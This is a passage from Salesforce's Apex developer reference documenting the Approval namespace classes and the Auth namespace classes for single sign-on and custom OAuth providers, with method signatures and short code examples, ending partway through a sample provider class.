The status of the current approval process. Valid values are: Approved, Rejected, Removed or Pending.
Signature
public String getInstanceStatus()
Return Value
Type: String
getNewWorkitemIds()
The IDs of the new items submitted to the approval process. There can be 0 or 1 approval processes.
Signature
public ID[] getNewWorkitemIds()
Return Value
Type: ID[]
isSuccess()
A Boolean value that is set to true if the approval process completed successfully; otherwise, it is set to false.
650
ProcessResult ClassReference
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
ProcessSubmitRequest Class
Use the ProcessSubmitRequest class to submit a record for approval.
Namespace
Approval
Usage
You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments.
For example:
Approval.ProcessSubmitRequest psr = new Approval.ProcessSubmitRequest();
Inherited Methods
In addition to the methods listed, the ProcessSubmitRequest class has access to all the methods in its parent class, ProcessRequest
Class on page 647.
•getComments()
•getNextApproverIds()
•setComments(comments)
•setNextApproverIds(nextApproverIds)
Example
To view sample code, refer to Approval Processing Example on page 287.
ProcessSubmitRequest Methods
The following are methods for ProcessSubmitRequest. All are instance methods.
IN THIS SECTION:
getObjectId()
Returns the ID of the record that has been submitted for approval. For example, it can return an account, contact, or custom object
record.
getProcessDefinitionNameOrId()
Returns the developer name or ID of the process definition.
651
ProcessSubmitRequest ClassReference
getSkipEntryCriteria()
If getProcessDefinitionNameOrId() returns a value other than null, getSkipEntryCriteria() determines
whether to evaluate the entry criteria for the process (true) or not (false).
getSubmitterId()
Returns the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process
definition setup.
setObjectId(recordId)
Sets the ID of the record to be submitted for approval. For example, it can specify an account, contact, or custom object record.
setProcessDefinitionNameOrId(nameOrId)
Sets the developer name or ID of the process definition to be evaluated.
setSkipEntryCriteria(skipEntryCriteria)
If the process definition name or ID is not null, setSkipEntryCriteria() determines whether to evaluate the entry criteria
for the process (true) or not (false).
setSubmitterId(userID)
Sets the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process
definition setup. If you don’t set a submitter ID, the process uses the current user as the submitter.
getObjectId()
Returns the ID of the record that has been submitted for approval. For example, it can return an account, contact, or custom object
record.
Signature
public String getObjectId()
Return Value
Type: String
getProcessDefinitionNameOrId()
Returns the developer name or ID of the process definition.
Signature
public String getProcessDefinitionNameOrId()
Return Value
Type: String
Usage
The default is null. If the return value is null, when a user submits a record for approval Salesforce evaluates the entry criteria for all
processes applicable to the user.
652
ProcessSubmitRequest ClassReference
getSkipEntryCriteria()
If getProcessDefinitionNameOrId() returns a value other than null, getSkipEntryCriteria() determines
whether to evaluate the entry criteria for the process (true) or not (false).
Signature
public Boolean getSkipEntryCriteria()
Return Value
Type: Boolean
getSubmitterId()
Returns the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process
definition setup.
Signature
public String getSubmitterId()
Return Value
Type: String
setObjectId(recordId)
Sets the ID of the record to be submitted for approval. For example, it can specify an account, contact, or custom object record.
Signature
public Void setObjectId(String recordId)
Parameters
recordId
Type: String
Return Value
Type: Void
setProcessDefinitionNameOrId(nameOrId)
Sets the developer name or ID of the process definition to be evaluated.
Signature
public Void setProcessDefinitionNameOrId(String nameOrId)
653
ProcessSubmitRequest ClassReference
Parameters
nameOrId
Type: String
The process definition developer name or process definition ID. The record is submitted to this specific process. If set to null,
submission of a record approval follows standard evaluation; that is, every entry criteria of the process definition in the process order
is evaluated and the one that satisfies is picked and submitted.
Return Value
Type: Void
Usage
If the process definition name or ID is not set via this method, then by default it is null. If it is null, the submission of a record for approval
evaluates entry criteria for all processes applicable to the submitter. The order of evaluation is based on the process order of the setup.
setSkipEntryCriteria(skipEntryCriteria)
If the process definition name or ID is not null, setSkipEntryCriteria() determines whether to evaluate the entry criteria for
the process (true) or not (false).
Signature
public Void setSkipEntryCriteria(Boolean skipEntryCriteria)
Parameters
skipEntryCriteria
Type: Boolean
If set to true, request submission skips the evaluation of entry criteria for the process set in setProcessDefinitionNameOrId(nameOrId)
on page 653. If the process definition name or ID is not specified, this parameter is ignored and standard evaluation is followed based
on process order. If set to false, or if this method isn’t called, the entry criteria is not skipped.
Return Value
Type: Void
setSubmitterId(userID)
Sets the user ID of the submitter requesting the approval record. The user must be one of the allowed submitters in the process definition
setup. If you don’t set a submitter ID, the process uses the current user as the submitter.
Signature
public Void setSubmitterId(String userID)
654
ProcessSubmitRequest ClassReference
Parameters
userID
Type: String
The user ID on behalf of which the record is submitted. If set to null, the current user is the submitter. If the submitter is not set
with this method, the default submitter is null (the current user).
Return Value
Type: Void
ProcessWorkitemRequest Class
Use the ProcessWorkitemRequest class for processing an approval request after it is submitted.
Namespace
Approval
Usage
You must specify the Approval namespace when creating an instance of this class. The constructor for this class takes no arguments.
For example:
Approval.ProcessWorkitemRequest pwr = new Approval.ProcessWorkitemRequest();
Inherited Methods
In addition to the methods listed, the ProcessWorkitemRequest class has access to all the methods in its parent class,
ProcessRequest Class:
•getComments()
•getNextApproverIds()
•setComments(comments)
•setNextApproverIds(nextApproverIds)
ProcessWorkitemRequest Methods
The following are methods for ProcessWorkitemRequest. All are instance methods.
IN THIS SECTION:
getAction()
Returns the type of action already associated with the approval request. Valid values are: Approve, Reject, or Removed.
getWorkitemId()
Returns the ID of the approval request that is in the process of being approved, rejected, or removed.
setAction(actionType)
Sets the type of action to take for processing an approval request.
655
ProcessWorkitemRequest ClassReference
setWorkitemId(id)
Sets the ID of the approval request that is being approved, rejected, or removed.
getAction()
Returns the type of action already associated with the approval request. Valid values are: Approve, Reject, or Removed.
Signature
public String getAction()
Return Value
Type: String
getWorkitemId()
Returns the ID of the approval request that is in the process of being approved, rejected, or removed.
Signature
public String getWorkitemId()
Return Value
Type: String
setAction(actionType)
Sets the type of action to take for processing an approval request.
Signature
public Void setAction(String actionType)
Parameters
actionType
Type: String
Valid values are: Approve, Reject, or Removed. Only system administrators can specify Removed.
Return Value
Type: Void
setWorkitemId(id)
Sets the ID of the approval request that is being approved, rejected, or removed.
656
ProcessWorkitemRequest ClassReference
Signature
public Void setWorkitemId(String id)
Parameters
id
Type: String
Return Value
Type: Void
UnlockResult Class
The result of a record unlock, returned by a System.Approval.unlock() method.
Namespace
Approval
Usage
The System.Approval.unlock() methods return Approval.UnlockResult objects. Each element in an UnlockResult array
corresponds to an element in the ID or sObject array passed as a parameter to an unlock method. The first element in the UnlockResult
array corresponds to the first element in the ID or sObject array, the second element corresponds to the second element, and so on. If
only one ID or sObject is passed in, the UnlockResult array contains a single element.
Example
The following example shows how to obtain and iterate through the returned Approval.UnlockResult objects. It locks some queried
accounts using Approval.unlock with a false second parameter to allow partial processing of records on failure. Next, it
iterates through the results to determine whether the operation was successful for each record. It writes the ID of every record that was
processed successfully to the debug log, or writes error messages and failed fields of the failed records.
// Query the accounts to unlock
Account[] accts = [SELECT Id from Account WHERE Name LIKE 'Acme%'];
for(Account acct:accts) {
// Create an approval request for the account
Approval.ProcessSubmitRequest req1 =
new Approval.ProcessSubmitRequest();
req1.setComments('Submitting request for approval.');
req1.setObjectId(acct.id);
// Submit the record to specific process and skip the criteria evaluation
req1.setProcessDefinitionNameOrId('PTO_Request_Process');
req1.setSkipEntryCriteria(true);
// Submit the approval request for the account
Approval.ProcessResult result = Approval.process(req1);
657
UnlockResult ClassReference
// Verify the result
System.assert(result.isSuccess());
}
// Unlock the accounts
Approval.UnlockResult[] urList = Approval.unlock(accts, false);
// Iterate through each returned result
for(Approval.UnlockResult ur : urList) {
if (ur.isSuccess()) {
// Operation was successful, so get the ID of the record that was processed
System.debug('Successfully unlocked account with ID: ' + ur.getId());
}
else {
// Operation failed, so get all errors
for(Database.Error err : ur.getErrors()) {
System.debug('The following error has occurred.');
System.debug(err.getStatusCode() + ': ' + err.getMessage());
System.debug('Account fields that affected this error: ' + err.getFields());
}
}
}
IN THIS SECTION:
UnlockResult Methods
SEE ALSO:
Approval Class
UnlockResult Methods
The following are methods for UnlockResult.
IN THIS SECTION:
getErrors()
If an error occurred, returns an array of one or more database error objects, providing the error code and description.
getId()
Returns the ID of the sObject you are trying to unlock.
isSuccess()
A Boolean value that is set to true if the unlock operation is successful for this object, or false otherwise.
getErrors()
If an error occurred, returns an array of one or more database error objects, providing the error code and description.
658
UnlockResult ClassReference
Signature
public List<Database.Error> getErrors()
Return Value
Type: List<Database.Error>
getId()
Returns the ID of the sObject you are trying to unlock.
Signature
public Id getId()
Return Value
Type: Id
Usage
If the field contains a value, the object was unlocked. If the field is empty, the operation was not successfult.
isSuccess()
A Boolean value that is set to true if the unlock operation is successful for this object, or false otherwise.
Signature
public Boolean isSuccess()
Return Value
Type: Boolean
Auth Namespace
The Auth namespace provides an interface and classes for single sign-on into Salesforce and session security management.
The following is the interface in the Auth namespace.
IN THIS SECTION:
AuthConfiguration Class
Contains methods for configuring user settings for users to log in to Salesforce using an authentication provider, such as Google or
Facebook instead of using Salesforce credentials. Users log in to a Salesforce community, or a subdomain created with My Domain.
659
Auth NamespaceReference
AuthProviderCallbackState Class
Provides request HTTP headers, body, and query parameters to the AuthProviderPlugin.handleCallback method
for user authentication. This class allows you to group the information passed in rather than passing headers, body, and query
parameters individually.
AuthProviderPlugin Interface
This interface is deprecated. For new development, use the abstract class Auth.AuthProviderPluginClass to create a
custom OAuth-based authentication provider plug-in for single sign-on in to Salesforce.
AuthProviderPluginClass Class
Contains methods to create a custom OAuth-based authentication provider plug-in for single sign-on in to Salesforce. Use this class
to create a custom authentication provider plug-in if you can’t use one of the authentication providers that Salesforce provides.
AuthProviderTokenResponse Class
Stores the response from the AuthProviderPlugin.handleCallback method.
AuthToken Class
Contains methods for providing the access token associated with an authentication provider for an authenticated user, except for
the Janrain provider.
CommunitiesUtil Class
Contains methods for getting information about a community user.
ConnectedAppPlugin Class
Contains methods for extending the behavior of a connected app, for example, customizing how a connected app is invoked
depending on the protocol used. This class gives you more control over the interaction between Salesforce and your connected
app.
InvocationContext Enum
The context in which the connected app is invoked, such as the protocol flow used and the token type issued, if any. Developers
can use the context information to write code that is unique to the type of invocation.
JWS Class
Contains methods that apply a digital signature to a JSON Web Token (JWT), using a JSON Web Signature (JWS) data structure. This
class creates the signed JWT bearer token, which can be used to request an OAuth access token in the OAuth 2.0 JWT bearer token
flow.
JWT Class
Generates the JSON Claims Set in a JSON Web Token (JWT). The resulting Base64-encoded payload can be passed as an argument
to create an instance of the Auth.JWS class.
JWTBearerTokenExchange Class
Contains methods that POST the signed JWT bearer token to a token endpoint to request an access token, in the OAuth 2.0 JWT
bearer token flow.
OAuthRefreshResult Class
Stores the result of an AuthProviderPluginClass refresh method. OAuth authentication flow provides a refresh token that
can be used to get a new access token. Access tokens have a limited lifetime as specified by the session timeout value. When an
access token expires, use a refresh token to get a new access token.
RegistrationHandler Interface
Salesforce provides the ability to use an authentication provider, such as Facebook© or Janrain©, for single sign-on into Salesforce.
SamlJitHandler Interface
Use this interface to control and customize Just-in-Time user provisioning logic during SAML single sign-on.
660
Auth NamespaceReference
SessionManagement Class
Contains methods for customizing security levels, two-factor authentication, and trusted IP ranges for a current session.
SessionLevel Enum
An Auth.SessionLevel enum value is used by the SessionManagement.setSessionLevel method.
UserData Class
Stores user information for Auth.RegistrationHandler.
VerificationPolicy Enum
The Auth.VerificationPolicy enum contains an identity verification policy value used by the
SessionManagement.generateVerificationUrl method.
Auth Exceptions
The Auth namespace contains some exception classes.
AuthConfiguration Class
Contains methods for configuring user settings for users to log in to Salesforce using an authentication provider, such as Google or
Facebook instead of using Salesforce credentials. Users log in to a Salesforce community, or a subdomain created with My Domain.
Namespace
Auth
Example
This example shows how to call some methods on the Auth.AuthConfiguration class. Before you can run this sample, you
must provide valid values for the URLs and developer name.
String communityUrl = '<Add URL>';
String startUrl = '<Add URL>';
Auth.AuthConfiguration authConfig = new Auth.AuthConfiguration(communityUrl,startUrl);
List<AuthProvider> authPrvs = authConfig.getAuthProviders();
String bColor = authConfig.getBackgroundColor();
String fText = authConfig.getFooterText();
String sso = Auth.AuthConfiguration.getAuthProviderSsoUrl(communityUrl, startUrl,
'developerName');
AuthConfiguration Constructors
The following are constructors for AuthConfiguration.
AuthConfiguration(communityOrCustomUrl, startUrl)
Creates a new instance of the AuthConfiguration class using the specified community or custom domain URL and starting URL
for authenticated users.
Signature
public AuthConfiguration(String communityOrCustomUrl, String startUrl)
661
AuthConfiguration ClassReference
Parameters
communityOrCustomUrl
Type: String
The URL for the community or custom domain.
startUrl
Type: String
The page users see after successfully logging in to the community or custom domain.
AuthConfiguration(networkId, startUrl)
Creates an instance of the AuthConfiguration class using the specified community ID and authenticated-user starting URL.
Signature
public AuthConfiguration(Id networkId, String startUrl)
Parameters
networkId
Type: Id
The ID of the community.
startUrl
Type: String
The page users see after successfully logging in to the community.
AuthConfiguration Methods
The following are methods for AuthConfiguration. Use these methods to manage and customize authentication for a Salesforce
community.
IN THIS SECTION:
getAllowInternalUserLoginEnabled()
Indicates whether the community allows internal users to log in using the community login page. Admins configure the setting
Allow internal users to log in directly to the community on the Login & Registration page in Community Management. It’s
disabled by default.
getAuthConfig()
Returns the AuthConfig sObject, which represents the authentication options, for a community or custom domain that was created
by using My Domain.
getAuthConfigProviders()
Returns the list of authentication providers configured for a community or custom domain.
getAuthProviders()
Returns the list of authentication providers available for a community or custom domain.
getAuthProviderSsoUrl(communityUrl, startUrl, developerName)
Returns the single sign-on URL for a community or a custom domain created using My Domain.
662
AuthConfiguration ClassReference
getBackgroundColor()
Returns the color for the background of the login page for a community.
getDefaultProfileForRegistration()
Returns the profile ID assigned to new community users.
getFooterText()
Returns the text at the bottom of the login page for a community.
getForgotPasswordUrl()
Returns the URL for the standard or custom Forgot Password page that is specified for a community or portal by the administrator.
getLogoUrl()
Returns the location of the icon image at the bottom of the login page for a community.
getSamlProviders()
Returns the list of SAML-based authentication providers available for a community or custom domain.
getSamlSsoUrl(communityUrl, startURL, samlId)
Returns the single sign-on URL for a community or a custom domain created using My Domain.
getSelfRegistrationEnabled()
Indicates whether the current community allows new users to create their own account by filling out a registration form.
getSelfRegistrationUrl()
Returns the location of the self-registration page for new users to sign up for an account with a community.
getStartUrl()
Returns the page of a community or custom domain displayed after a user logs in.
getUsernamePasswordEnabled()
Indicates whether the current community is set to display a login form asking for a username and password. You can configure the
community not to request a username and password if it is for unauthenticated users or users logging in with a third-party
authentication provider.
isCommunityUsingSiteAsContainer()
Returns true if the community uses Site.com pages; otherwise, returns false.
getAllowInternalUserLoginEnabled()
Indicates whether the community allows internal users to log in using the community login page. Admins configure the setting Allow
internal users to log in directly to the community on the Login & Registration page in Community Management. It’s disabled by
default.
Signature
public Boolean getAllowInternalUserLoginEnabled()
Return Value
Type: Boolean
Usage
If true, internal users log in to a community from the community login page with their internal credentials. If they navigate to their
internal org from the community, they don't have to log in again.
663
AuthConfiguration ClassReference
getAuthConfig()
Returns the AuthConfig sObject, which represents the authentication options, for a community or custom domain that was created by
using My Domain.
Signature
public AuthConfig getAuthConfig()
Return Value
Type: AuthConfig
The AuthConfig sObject for the community or custom domain.
getAuthConfigProviders()
Returns the list of authentication providers configured for a community or custom domain.
Signature
public List<AuthConfigProviders> getAuthConfigProviders()
Return Value
Type: List<AuthConfigProviders>
A list of authentication providers (AuthConfigProviders sObjects, which are children of the AuthProvider sObject).
getAuthProviders()
Returns the list of authentication providers available for a community or custom domain.
Signature
public List<AuthProvider> getAuthProviders()
Return Value
Type: List<AuthProvider>
A list of authentication providers (AuthProvider sObjects) for the community or custom domain.
getAuthProviderSsoUrl(communityUrl, startUrl, developerName)
Returns the single sign-on URL for a community or a custom domain created using My Domain.
Signature
public static String getAuthProviderSsoUrl(String communityUrl, String startUrl, String
developerName)
664
AuthConfiguration ClassReference
Parameters
communityUrl
Type: String
The URL for the community or custom domain. If not null and not specified as an empty string, you get the URL for a community. If
null or specified as an empty string, you get the URL for a custom domain.
startUrl
Type: String
The page that users see after logging in to the community or custom domain.
developerName
Type: String
The unique name of the authentication provider.
Return Value
Type: String
The Single Sign-On Initialization URL for the community or custom domain.
getBackgroundColor()
Returns the color for the background of the login page for a community.
Signature
public String getBackgroundColor()
Return Value
Type: String
getDefaultProfileForRegistration()
Returns the profile ID assigned to new community users.
Signature
public String getDefaultProfileForRegistration()
Return Value
Type: String
The profile ID.
getFooterText()
Returns the text at the bottom of the login page for a community.
665
AuthConfiguration ClassReference
Signature
public String getFooterText()
Return Value
Type: String
The text string displayed at the bottom of the login page, for example “Log in with an existing account.”
getForgotPasswordUrl()
Returns the URL for the standard or custom Forgot Password page that is specified for a community or portal by the administrator.
Signature
public String getForgotPasswordUrl()
Return Value
Type: String
URL for the standard or custom Forgot Password page.
getLogoUrl()
Returns the location of the icon image at the bottom of the login page for a community.
Signature
public String getLogoUrl()
Return Value
Type: String
The path to the icon image.
getSamlProviders()
Returns the list of SAML-based authentication providers available for a community or custom domain.
Signature
public List<SamlSsoConfig> getSamlProviders()
Return Value
Type: List<SamlSsoConfig>
A list of SAML-based authentication providers (SamlSsoConfig sObjects).
666
AuthConfiguration ClassReference
getSamlSsoUrl(communityUrl, startURL, samlId)
Returns the single sign-on URL for a community or a custom domain created using My Domain.
Signature
public static String getSamlSsoUrl(String communityUrl, String startURL, String samlId)
Parameters
communityUrl
Type: String
The URL for the community or custom domain created using My Domain. If not null and not specified as an empty string, you
get the URL for a community. If null or specified as an empty string, you get the URL for a custom domain.
startUrl
Type: String
The page users see after successfully logging in to the community or custom domain.
samlId
Type: String
The unique identifier of the SamlSsoConfig standard object for the community or custom domain.
Return Value
Type: String
The Single Sign-On Initialization URL for the community or custom domain.
getSelfRegistrationEnabled()
Indicates whether the current community allows new users to create their own account by filling out a registration form.
Signature
public Boolean getSelfRegistrationEnabled()
Return Value
Type: Boolean
getSelfRegistrationUrl()
Returns the location of the self-registration page for new users to sign up for an account with a community.
Signature
public String getSelfRegistrationUrl()
Return Value
Type: String
667
AuthConfiguration ClassReference
The location of the self-registration page.
getStartUrl()
Returns the page of a community or custom domain displayed after a user logs in.
Signature
public String getStartUrl()
Return Value
Type: String
The location of the community or custom domain start page.
getUsernamePasswordEnabled()
Indicates whether the current community is set to display a login form asking for a username and password. You can configure the
community not to request a username and password if it is for unauthenticated users or users logging in with a third-party authentication
provider.
Signature
public Boolean getUsernamePasswordEnabled()
Return Value
Type: Boolean
isCommunityUsingSiteAsContainer()
Returns true if the community uses Site.com pages; otherwise, returns false.
Signature
public Boolean isCommunityUsingSiteAsContainer()
Return Value
Type: Boolean
AuthProviderCallbackState Class
Provides request HTTP headers, body, and query parameters to the AuthProviderPlugin.handleCallback method for
user authentication. This class allows you to group the information passed in rather than passing headers, body, and query parameters
individually.
Namespace
Auth
668
AuthProviderCallbackState ClassReference
IN THIS SECTION:
AuthProviderCallbackState Constructors
AuthProviderCallbackState Properties
SEE ALSO:
handleCallback(authProviderConfiguration, callbackState)
AuthProviderCallbackState Constructors
The following are constructors for AuthProviderCallbackState.
IN THIS SECTION:
AuthProviderCallbackState(headers, body, queryParameters)
Creates an instance of the AuthProviderCallbackState class using the specified HTTP headers, body, and query parameters
of the authentication request.
AuthProviderCallbackState(headers, body, queryParameters)
Creates an instance of the AuthProviderCallbackState class using the specified HTTP headers, body, and query parameters
of the authentication request.
Signature
public AuthProviderCallbackState(Map<String,String> headers, String body,
Map<String,String> queryParameters)
Parameters
headers
Type: Map<String,String>
The HTTP headers of the authentication request.
body
Type: String
The HTTP body of the authentication request.
queryParameters
Type: Map<String,String>
The HTTP query parameters of the authentication request.
AuthProviderCallbackState Properties
The following are properties for AuthProviderCallbackState.
669
AuthProviderCallbackState ClassReference
IN THIS SECTION:
body
The HTTP body of the authentication request.
headers
The HTTP headers of the authentication request.
queryParameters
The HTTP query parameters of the authentication request.
body
The HTTP body of the authentication request.
Signature
public String body {get; set;}
Property Value
Type: String
headers
The HTTP headers of the authentication request.
Signature
public Map<String,String> headers {get; set;}
Property Value
Type: Map<String,String>
queryParameters
The HTTP query parameters of the authentication request.
Signature
public Map<String,String> queryParameters {get; set;}
Property Value
Type: Map<String,String>
AuthProviderPlugin Interface
This interface is deprecated. For new development, use the abstract class Auth.AuthProviderPluginClass to create a custom
OAuth-based authentication provider plug-in for single sign-on in to Salesforce.
670
AuthProviderPlugin InterfaceReference
Namespace
Auth
Usage
Deprecated. Existing implementations that use Auth.AuthProviderPlugin still work. For new development, use
Auth.AuthProviderPluginClass.
IN THIS SECTION:
AuthProviderPlugin Methods
AuthProviderPlugin Example Implementation
AuthProviderPlugin Methods
The following methods are for AuthProviderPlugin, which, as of API version 39.0, is deprecated. Use themethods in
AuthProviderPluginClass instead.
IN THIS SECTION:
getCustomMetadataType()
Deprecated as of API version 39.0. Use the corresponding method in Auth.AuthProviderPluginClass.
getUserInfo(authProviderConfiguration, response)
Deprecated as of API version 39.0. Use the corresponding method in Auth.AuthProviderPluginClass.
handleCallback(authProviderConfiguration, callbackState)
Deprecated as of API version 39.0. Use the corresponding method in Auth.AuthProviderPluginClass.
initiate(authProviderConfiguration, stateToPropagate)
Deprecated as of API version 39.0. Use the corresponding method in Auth.AuthProviderPluginClass.
SEE ALSO:
Salesforce Help: Create a Custom External Authentication Provider
getCustomMetadataType()
Deprecated as of API version 39.0. Use the corresponding method in Auth.AuthProviderPluginClass.
Signature
public String getCustomMetadataType()
Return Value
Type: String
The custom metadata type API name for the authentication provider.
671
AuthProviderPlugin InterfaceReference
Usage
Returns the custom metadata type API name for a custom OAuth-based authentication provider for single sign-on to Salesforce. The
getCustomMetatadaType() method returns only custom metadata type names. It does not return custom metadata record
names.
getUserInfo(authProviderConfiguration, response)
Deprecated as of API version 39.0. Use the corresponding method in Auth.AuthProviderPluginClass.
Signature
public Auth.UserData getUserInfo(Map<String,String> authProviderConfiguration,
Auth.AuthProviderTokenResponse response)
Parameters
authProviderConfiguration
Type: Map<String,String>
The configuration for the custom authentication provider. When you create a custom metadata type in Salesforce, the configuration
populates with the custom metadata type default values. Or you can set the configuration with values you enter when you create
the custom provider in Auth. Providers in Setup.
response
Type: Auth.AuthProviderTokenResponse
The OAuth access token, OAuth secret or refresh token, and state provided by the authentication provider to authenticate the current
user.
Return Value
Type: Auth.UserData
Creates a new instance of the Auth.UserData class.
Usage
Returns information from the custom authentication provider about the current user. The registration handler and other authentication
provider flows use this information.
handleCallback(authProviderConfiguration, callbackState)
Deprecated as of API version 39.0. Use the corresponding method in Auth.AuthProviderPluginClass.
Signature
public Auth.AuthProviderTokenResponse handleCallback(Map<String,String>
authProviderConfiguration, Auth.AuthProviderCallbackState callbackState)
Parameters
authProviderConfiguration
Type: Map<StringString>
672
AuthProviderPlugin InterfaceReference
The configuration for the custom authentication provider. When you create a custom metadata type in Salesforce, the configuration
populates with the custom metadata type default values. Or you can set the configuration with values you enter when you create
the custom provider in Auth. Providers in Setup.
callbackState
Type: Auth.AuthProviderCallbackState
The class that contains the HTTP headers, body, and queryParams of the authentication request.
Return Value
Type: Auth.AuthProviderTokenResponse
Creates an instance of the AuthProviderTokenResponse class.
Usage
Uses the authentication provider’s supported authentication protocol to return an OAuth access token, OAuth secret or refresh token,
and the state passed in when the request for the current user was initiated.
initiate(authProviderConfiguration, stateToPropagate)
Deprecated as of API version 39.0. Use the corresponding method in Auth.AuthProviderPluginClass.
Signature
public System.PageReference initiate(Map<String,String> authProviderConfiguration,
String stateToPropagate)
Parameters
authProviderConfiguration
Type: Map<StringString>
The configuration for the custom authentication provider. When you create a custom metadata type in Salesforce, the configuration
populates with the custom metadata type default values. Or you can set the configuration with values you enter when you create
the custom provider in Auth. Providers in Setup.
stateToPropagate
Type: String
The state passed in to initiate the authentication request for the user.
Return Value
Type: System.PageReference
The URL of the page where the user is redirected for authentication.
Usage
Returns the URL where the user is redirected for authentication.
673
AuthProviderPlugin InterfaceReference
AuthProviderPlugin Example Implementation
We’ve removed the example implementation for the Auth.AuthProviderPlugin interface because we’ve deprecated the
interface and replaced it with an abstract class. See AuthProviderPluginClass Class.
AuthProviderPluginClass Class
Contains methods to create a custom OAuth-based authentication provider plug-in for single sign-on in to Salesforce. Use this class to
create a custom authentication provider plug-in if you can’t use one of the authentication providers that Salesforce provides.
Namespace
Auth
Usage
To create a custom authentication provider for single sign-on, create a class that extends Auth.AuthProviderPluginClass.
This class allows you to store the custom configuration for your authentication provider and handle authentication protocols when users
log in to Salesforce with their login credentials for an external service provider. In Salesforce, the class that implements this interface
appears in the Provider Type drop-down list in Auth. Providers in Setup. Make sure that the user you specify to run the class has
“Customize Application” and “Manage Auth. Providers” permissions.
As of API version 39.0, use the abstract class AuthProviderPluginClass to create a custom external authentication provider.
This class replaces the AuthProviderPlugin interface. If you’ve already implemented a custom authentication provider plug-in
using the interface, it still works. However, use AuthProviderPluginClass to extend your plug-in. If you haven’t created an
interface, create a custom authentication provider plug-in by extending this abstract class. For more information, see
AuthProviderPluginClass Code Example.
IN THIS SECTION:
AuthProviderPluginClass Methods
AuthProviderPluginClass Code Example
AuthProviderPluginClass Methods
The following are methods for AuthProviderPluginClass.
IN THIS SECTION:
getCustomMetadataType()
Returns the custom metadata type API name for a custom OAuth-based authentication provider for single sign-on to Salesforce.
getUserInfo(authProviderConfiguration, response)
Returns information from the custom authentication provider about the current user. This information is used by the registration
handler and in other authentication provider flows.
handleCallback(authProviderConfiguration, callbackState)
Uses the authentication provider’s supported authentication protocol to return an OAuth access token, OAuth secret or refresh token,
and the state passed in when the request for the current user was initiated.
674
AuthProviderPluginClass ClassReference
initiate(authProviderConfiguration, stateToPropagate)
Returns the URL where the user is redirected for authentication.
refresh(authProviderConfiguration, refreshToken)
Returns a new access token, which is used to update an expired access token.
getCustomMetadataType()
Returns the custom metadata type API name for a custom OAuth-based authentication provider for single sign-on to Salesforce.
Signature
public String getCustomMetadataType()
Return Value
Type: String
The custom metadata type API name for the authentication provider.
Usage
The getCustomMetatadaType() method returns only custom metadata type names. It does not return custom metadata record
names. As of API version 39.0, use this method when extending Auth.AuthProviderPluginClass to create a custom external
authentication provider.
getUserInfo(authProviderConfiguration, response)
Returns information from the custom authentication provider about the current user. This information is used by the registration handler
and in other authentication provider flows.
Signature
public Auth.UserData getUserInfo(Map<String,String> authProviderConfiguration,
Auth.AuthProviderTokenResponse response)
Parameters
authProviderConfiguration
Type: Map<String,String>
The configuration for the custom authentication provider. When you create a custom metadata type in Salesforce, the configuration
populates it with the custom metadata type default values. Or you can set the configuration with values that you enter when you
create the custom provider in Auth. Providers in Setup.
response
Type: Auth.AuthProviderTokenResponse
The OAuth access token, OAuth secret or refresh token, and state provided by the authentication provider to authenticate the current
user.
675
AuthProviderPluginClass ClassReference
Return Value
Type: Auth.UserData
Creates a new instance of the Auth.UserData class.
Usage
As of API version 39.0, use this method when extending Auth.AuthProviderPluginClass to create a custom authentication
provider.
handleCallback(authProviderConfiguration, callbackState)
Uses the authentication provider’s supported authentication protocol to return an OAuth access token, OAuth secret or refresh token,
and the state passed in when the request for the current user was initiated.
Signature
public Auth.AuthProviderTokenResponse handleCallback(Map<String,String>
authProviderConfiguration, Auth.AuthProviderCallbackState callbackState)
Parameters
authProviderConfiguration
Type: Map<StringString>
The configuration for the custom authentication provider. When you create a custom metadata type in Salesforce, the configuration
populates with the custom metadata type default values. Or you can set the configuration with values you enter when you create
the custom provider in Auth. Providers in Setup.
callbackState
Type: Auth.AuthProviderCallbackState
The class that contains the HTTP headers, body, and queryParams of the authentication request.
Return Value
Type: Auth.AuthProviderTokenResponse
Creates an instance of the AuthProviderTokenResponse class.
Usage
As of API version 39.0, use this method when extending Auth.AuthProviderPluginClass to create a custom authentication
provider.
initiate(authProviderConfiguration, stateToPropagate)
Returns the URL where the user is redirected for authentication.
Signature
public System.PageReference initiate(Map<String,String> authProviderConfiguration,
String stateToPropagate)
676
AuthProviderPluginClass ClassReference
Parameters
authProviderConfiguration
Type: Map<StringString>
The configuration for the custom authentication provider. When you create a custom metadata type in Salesforce, the configuration
populates with the custom metadata type default values. Or you can set the configuration with values you enter when you create
the custom provider in Auth. Providers in Setup.
stateToPropagate
Type: String
The state passed in to initiate the authentication request for the user.
Return Value
Type: System.PageReference
The URL of the page where the user is redirected for authentication.
Usage
As of API version 39.0, use this method when extending Auth.AuthProviderPluginClass to create a custom authentication
provider.
refresh(authProviderConfiguration, refreshToken)
Returns a new access token, which is used to update an expired access token.
Signature
public Auth.OAuthRefreshResult refresh(Map<String,String> authProviderConfiguration,
String refreshToken)
Parameters
authProviderConfiguration
Type: Map<String,String>
The configuration for the custom authentication provider. When you create a custom metadata type in Salesforce, the configuration
populates with the custom metadata type default values. Or you can set the configuration with values you enter when you create
the custom provider in Auth. Providers in Setup.
refreshToken
Type: String
The refresh token for the user who is logged in.
Return Value
Type: Auth.OAuthRefreshResult
Returns the new access token, or an error message if an error occurs.
677
AuthProviderPluginClass ClassReference
Usage
A successful request returns a Auth.OAuthRefreshResult with the access token and refresh token in the response. If you receive
an error, make sure that you set the error string to the error message. A NULL error string indicates no error.
The refresh method works only with named credentials; it doesn’t respect the standard OAuth refresh flow. The refresh method with
named credentials works only if the earlier request returns a 401.
AuthProviderPluginClass Code Example
The following example demonstrates how to implement a custom Auth. provider plug-in using the abstract class,
Auth.AuthProviderPluginClass.
global class Concur extends Auth.AuthProviderPluginClass {
// Use this URL for the endpoint that the
// authentication provider calls back to for configuration.
public String redirectUrl;
private String key;
private String secret;
// Application redirection to the Concur website for
// authentication and authorization.
private String authUrl;
// URI to get the new access token from concur using the GET verb.
private String accessTokenUrl;
// Api name for the custom metadata type created for this auth provider.
private String customMetadataTypeApiName;
// Api URL to access the user in Concur
private String userAPIUrl;
// Version of the user api URL to access data from Concur
private String userAPIVersionUrl;
global String getCustomMetadataType() {
return customMetadataTypeApiName;
}
global PageReference initiate(Map<string,string>
authProviderConfiguration, String stateToPropagate)
{
